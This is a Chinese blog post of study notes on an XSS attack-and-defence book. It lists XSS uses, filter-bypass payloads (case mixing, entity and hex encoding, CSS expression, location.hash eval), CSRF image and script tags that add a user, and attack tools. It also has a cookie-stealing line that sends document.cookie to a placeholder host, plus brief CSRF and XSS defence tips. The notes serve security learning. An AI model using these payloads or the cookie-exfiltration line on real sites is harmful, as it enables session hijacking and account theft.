zoukankan      html  css  js  c++  java
  • XSS学习笔记

    本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结

    常见的XSS攻击主要用于
    1.网络钓鱼,盗用用户账号
    2.窃取cookies 非httponly情况下,读取document.cookie
    通过xss注入读取document.cookie并将cookie信息记录到远程服务器,然后使用桂林老兵cookie欺骗工具与服务器建立绘画
    document.write(<img src=http://xx.com/cookie.aspx?cookie='+document.cookie+'/>)

    3.劫持用户浏览器会话(xss-proxy)
    利用当前用户的会话,通过ajax请求,指定的操作页面,完成某种操作,比如添加管理员来提高权限;此种方式需要事先熟悉需要攻击网站的请求流程以及相关请求参数

    4.强制挂广告

    5.页面挂马
    6.CSRF 跨站请求伪造 利用客户会话携带cookie访问漏洞平台的操作
    常见形式<img src=http://www.xxx.com/adduser?username=/>
    <script src="http://www.xxx.com/adduser?username=">
    <iframe src="http://www.xxx.com/adduser?username="></iframe>
    xmlhttp对象
    攻击手段,预先分析漏洞平台的参数请求信息,构造expliot
    http://www.xxx.com/adduser?username=xxxx


    7.制作蠕虫病毒
    8.获取客户端信息,用户浏览历史,ip
    9dos/ddos攻击
    通过注入恶意代码,劫持用户持续不断请求某服务器
    <script>for(;;)alert('xss')</script>



    反射性XSS
     
    通过用户点击特定URL执行跨站脚本

    持久性XSS

    将可以脚本存储到客户端或服务器数据库,用户浏览器访问时执行


    恶意脚本的执行途径
    1.document.write()
    2.后台直接绑定未经过滤的变量到前台
    3.doc.InnerHtml直接赋值未经过滤的html片段 <img src=javascript:alert(/xxx/)/>
    4.将包含恶意js代码的html文件伪装成图片,IE浏览器打开是利用IE浏览器的嗅探机制(ie浏览器时根据文件内容判断执行方式的,其他浏览器根据minetype和文件后缀选择执行方式)的特性,执行恶意代码

    5.outlookexpress等邮件客户端软件,发送含有恶意js代码的邮件,收件人打开即中招
    6.flash的swf文件制作时,加入geturl(javascript:alert(0))等恶意代码,页面引用swf文件时,中招


    7.pdf文件制作时加入恶意js脚本, 代开引用该pdf文件的页面是,中招

    8.MHTML 通过将恶意代码base64 编码,加入到MHTML文档中
    xss的表现形式
    1.利用<>标记注射html/javascript
    2.利用html标签属性执行xss,很多html标记属性支持javascript:[code]
    <table background="javascript:alert(/xss/)"></table>
    <img src=javascript:alert(/xss/) />
    3.空格,回车,Tab绕过限制
    <img src='javas    cript:alert(/xss/)'/>
    4.对标签属性值进行转码 html的属性值支持ASCII玛
    <img src="javascrip&#116&#58alert(/xss/)"/>;
    5利用DOM事件
    <img src="#" onerror=alert(/xss/)/>
    6.利用css执行恶意js
    body{background-image:url("javascript:aert('xss')")}
    body{background-image:expression(alert("xss"))}
    然后通过link引用该样式文件,执行攻击
    7.通过大小写绕过过滤规则
    <iMG SrC="JavAScriPt:alert(0)"/>
    8.利用字符编码
    javascript:alert('xss')进行10进制转码为&#106&#97&#118........
    <img scr="&#106&#97&#118........"/>
    9.eval()执行16进制字符串
    eval("x61x6cx65....")

    10.windows.location.hash 的利用
    location.hash获取页面标签的值(页面url里的#)
    http://xxx.com/a.php?name="><script>eval(location.hash.substr(1))</script>#alert('xss')

    注入的位置

    document.URL
    Location
    document.referer
    window.name



    1.将危险代码编码后进行攻击

    将js脚本转换成十进制或16进制作,Escape等编码为参数加入到路径中,以迷惑用户当伪装的参数输出到页面时,进行执行攻击脚本。
    http://www.aa.com/search?q=<script>alert(/xxx/)</script>经16进制转换后伪装成:
    http://www.aa.com/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%78%78%2f%29%3c%2f%73%63%72%69%70%74%3e
    用户往往容易中招


    json注入攻击
    json中含有恶意代码name:<img src=javascript:alert(0)/>,然后执行eval()

    常用工具
    xss-proxy
    XSS-SHELL
    anehta 攻击力利器
    livehttpheaders 调试http
    tamper
    fiddler http抓包调试工具
    attackapi js攻击框架
    beef
    Acunetix Web Vulnerability Scanner XSS漏洞扫描工具
    xssdetect


    xss经常利用的漏洞
    1.UTF-7BOMXSS
    2.MHTML XSS
    3.Data URIs XSS
    4.CRLF
    5.HACKjSON



    CSRF防范手段
    1.验证来源referer
    2.验证码
    3.使用token,加载页面时向页面隐藏于付一个加密的token,提交时客户端会提交此加密token,服务器端判断此token是否存在,并校验是否正确,不正确则是非法请求,可能是CSRF攻击


    XSS防御技巧
    过滤用户输入,输入编码,asp.net网站不要轻易关闭valicateRequest文章发布页面需要富文本时,使用微软的xss过滤框架HtmlSanitizationLibrary

  • 相关阅读:
    JavaScript做定时器
    当前时间到固定日期的天数,如:在页面弹出显示到到2015年5月1日还有多少天
    使用Date日期对象来完成,在页面上根据不同时间显示不同的问候语,如:早上好,中午好,下午好,晚上好等信息
    JavaScript中遍历数组中元素的两种方法
    设计程序,单击【随机数】按钮,使用Math对象的random函数产生一个0-100之间(含0-100)的随机整数,并在对话框中显示,如下图。单击【计算】按钮,计算该随机数的平方、平方根和自然对数,保留两位小数,并在对话框中显示,如下图。
    JavaScript中实现四舍五入后保留小数的方法
    打印函数如何适应不同的打印机
    在MFC中改变控件的TAB顺序
    LPCTSTR —— 摘自百度百科
    vector使用注意事项
  • 原文地址:https://www.cnblogs.com/l1pe1/p/8509011.html
Copyright © 2011-2022 走看看